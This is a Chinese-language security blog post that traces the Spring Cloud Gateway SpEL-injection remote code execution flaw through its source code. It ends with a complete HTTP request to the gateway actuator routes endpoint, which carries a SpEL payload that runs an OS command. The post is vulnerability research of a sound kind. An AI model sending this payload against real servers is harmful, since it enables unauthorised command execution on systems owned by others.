Spring Cloud Gateway RCE

之前爆了一个大洞,据说堪比log4j,现在追溯一波看看情况;

还是老思路,从后往前推;漏洞是一个常规的spel注入;

LM24H0.png

看一下触发点,可以看到在ShortcutConfigurable这个接口类里getValue函数中,传入spelExpressionParser,第三个参数是entryValue String;然后下面进行解析,把在 #{} 之间的str拿出来做spel解析;接着这个函数往前追;

LMRN5T.png

看到在normalize函数中触发,这个函数也在一个枚举类里,向上看一下,在shortcutType返回了这个枚举类,那么现在逻辑就是找到一个调用链,基本上是 shortcutType().normalize() 这样的;

LMWZQJ.png

在ConfigurableBuilder类下,normalizeProperties函数中找到了合理的调用;并且看到这里也是传入相关的参数,这里我们重点关注properties这个参数;也很简单,这个追一下参数的调用流程就会很清楚了;现在继续追normalizeProperties函数的调用点;发现在其父类里面;

LMW0Ff.png

在bind函数中进行触发;这里看到没有相关参数的传入,所以看一下参数的传入点;在ConfigurableBuilder的父类AbstractBuilder中

1
2
3
4
public B properties(Map<String, String> properties) {
this.properties = properties;
return getThis();
}

所以看到相关的属性值是在其他的class中调用函数进行赋值的;所以这里就要考虑在什么class下调用bind函数,而且在调用之前进行了相关的赋值;向前追一下;

LMfJhT.png

在RouteDefinitionRouteLocator类下;lookup方法里触发;下面那一段的逻辑我们可以看一下:

1
2
3
4
5
6
this.configurationService.with(factory)
.name(predicate.getName())
.properties(predicate.getArgs())
.eventFunction((bound, properties) -> new PredicateArgsEvent(
RouteDefinitionRouteLocator.this, route.getId(), properties))
.bind();

configurationService属性追一下不难发现是ConfigurationService类,调用with函数返回一个InstanceBuilder对象;

1
2
3
public <T> InstanceBuilder<T> with(T instance) {
return new InstanceBuilder<T>(this, instance);
}

然后调用name方法;触发点是在其父类的name方法;

1
2
3
4
5
6
7
8
public B name(String name) {
this.name = name;
return getThis();
}
@Override
protected InstanceBuilder<T> getThis() {
return this;
}

然后接着返回InstanceBuilder对象;然后调用properties方法;这个方法很重要,追进去看一下:

1
2
3
4
public B properties(Map<String, String> properties) {
this.properties = properties;
return getThis();
}

可以看到properties就是在此进行赋值,所以也满足我们之前说的要对属性赋值的条件;properties最后也就是进入spel解析;贴一下之前的调用点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//ConfigurableBuilder类
protected Map<String, Object> normalizeProperties() {
if (this.service.beanFactory != null) {
return this.configurable.shortcutType().normalize(this.properties, this.configurable,
this.service.parser, this.service.beanFactory);
}
return super.normalizeProperties();
}

//ShortcutConfigurable接口类
public Map<String, Object> normalize(Map<String, String> args, ShortcutConfigurable shortcutConf,
SpelExpressionParser parser, BeanFactory beanFactory) {
Map<String, Object> map = new HashMap<>();
int entryIdx = 0;
for (Map.Entry<String, String> entry : args.entrySet()) {
String key = normalizeKey(entry.getKey(), entryIdx, shortcutConf, args);
Object value = getValue(parser, beanFactory, entry.getValue());

map.put(key, value);
entryIdx++;
}
return map;

看到properties传入了args,然后在后续parser的时候会for遍历,将entry(map里的值)调用getValue函数拿到值之后进行解析;这个向上简单追一下就行了,不是很难;

上面已经追溯到了lookup函数,发现lookup函数里是可以满足调用逻辑的,现在就是再次向上追溯看看lookup在何处调用;

LM4BY6.png

还是在lookup这个class里,在combinePredicates函数中触发;

LM466e.png

继续追上去,发现在convertToRoute这个函数中触发,两个函数的处理数据都是RouteDefinition对象;重要的参数是predicates,可以看到predicate就是从predicates里调用get函数拿到的,然而predicates属性是在routeDefinition对象中调用getPredicates拿到的,具体可看上上个图;

梳理到这里已经很清楚了,最后的spel解析的str,会从routeDefinition这个封装的对象里的属性,那么也就是说如果我们可控routeDefinition里的属性将其赋值为一个spel恶意的表达式,那么就可最后触发spel注入;这就是一个很清晰的spel注入点;看到这里,其实通过函数名和参数名不难发现是和route相关的;这里继续向上追溯一下:

发现还是在相同的class下

LM52gU.png

getRoutes函数中调用lambda表达式的方式进行调用;

这个getRoutes函数已经在这个class里无法进行调用了,所以用全局的方法进行搜索一下;

LMTZhq.png

直接发现可以在controller里直接调用,很幸运!!!发现了传入点;可以看到是调用了routeLocator属性下的getRoutes方法;上面的追溯不难发现,getRoutes方法就在 RouteDefinitionRouteLocator 类下,然而这个类是继承于RouteLocator的;

LMocXF.png

可以看到在controller里,直接在构造器中传入了,所以对于利用方式来说,直接在controller里进行请求攻击就行;可以看到是restful风格的写法,这个地方其实在官方的文档里也可看到,这个controller主要是用来检索特定路由的信息的;

LM7oLD.png

可以看到检索之后会返回特定格式的内容;我们关注的一个点就出现了,那就是predicates这个属性,传进去的是一个数组,想来和后续的处理是符合的,数组后续处理程序会将其内容放到map里,所以这样就解释了为什么在追溯源码的时候会有如下的定义了:

1
private final Map<String, RoutePredicateFactory> predicates = new LinkedHashMap<>();

看懂这个之后再去看一下追随过程中的源码就会很明显:

1
2
3
4
5
6
7
private AsyncPredicate<ServerWebExchange> combinePredicates(RouteDefinition routeDefinition) {
List<PredicateDefinition> predicates = routeDefinition.getPredicates();
if (predicates == null || predicates.isEmpty()) {
// this is a very rare case, but possible, just match all
return AsyncPredicate.from(exchange -> true);
}
AsyncPredicate<ServerWebExchange> predicate = lookup(routeDefinition, predicates.get(0));

这个地方肯定是将整体的数据封装成为一个routeDefinition对象,然后调用getPredicates函数拿到prodicates这个属性的值,因为其是数组,所以要用LinkedHashMap来进行承载;然后向后传入lookup进入后续的流程,然后最后触发spel解析;

那么最后传入解析点的值自然就是如下代码所示:

1
2
3
4
5
6
7
Object config = this.configurationService.with(factory)
.name(predicate.getName())
.properties(predicate.getArgs())
.eventFunction((bound, properties) -> new PredicateArgsEvent(
RouteDefinitionRouteLocator.this, route.getId(), properties))
.bind();

之前分析过调用properties进行设置properties,然后properties后续会进入spel解析,那么这里的参数值可以看到是predicate.getArgs()的结果,那么显然易见就是路由信息中的

1
2
3
4
5
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],

的args的值;所以如果可控这一部分就可造成最终的spel注入;

那么知道了利用点现在就是怎么去利用了,这个漏洞是发生在检索路由信息的地方,那么我们就可以考虑注册一个路由,这个对spring cloud有过了解的师傅们都知道,spring cloud是可以实现注册路由的;看下相关文档的利用;

LMqQR1.png

意思就是我们创建路由的时候post提交的数据应该是json类型,而且相关的格式应该和检索返回的格式一样;

正如我们所意;那么这里就直接动态创建路由,然后refresh一下,然后再去检索自然就可触发漏洞利用;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacker",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}

LMqbo4.png